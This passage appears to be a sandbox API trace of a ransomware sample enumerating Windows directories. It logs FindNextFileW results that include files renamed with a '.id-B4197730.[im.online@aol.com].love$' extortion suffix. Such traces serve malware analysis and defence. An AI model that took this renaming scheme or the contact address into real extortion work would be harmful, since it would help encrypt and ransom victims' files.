lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0282.993] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0282.993] FindNextFileW (in: hFindFile=0x543950, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0282.993] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0282.993] FindNextFileW (in: hFindFile=0x543950, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0282.994] FindClose (in: hFindFile=0x543950 | out: hFindFile=0x543950) returned 1 [0282.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0282.994] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0283.094] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.094] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0283.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.096] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0283.098] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.098] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0283.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.101] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0283.103] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.103] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0283.105] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.106] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0283.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.108] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0283.110] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.111] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0283.113] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.113] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0283.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.115] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0283.118] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.118] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0283.120] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.120] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0283.122] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.122] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0283.125] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.125] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0283.127] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.127] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0283.324] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.324] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0283.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.327] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0283.329] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.329] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0283.331] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.331] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0283.333] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.333] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0283.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.335] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0283.338] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.338] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0283.340] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.340] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0283.342] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.342] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0283.344] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.344] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0283.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.346] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ca5667, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ca5667, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DHTMLH~1.LOV")) returned 1 [0283.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.348] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0283.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.351] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ee7633, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ee7633, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ee7633, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="HEADER~1.LOV")) returned 1 [0283.353] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0283.353] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0283.353] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.353] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0283.354] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.354] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0283.354] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.354] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0283.354] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.354] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0283.355] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.355] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0283.355] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.355] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0283.355] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.355] 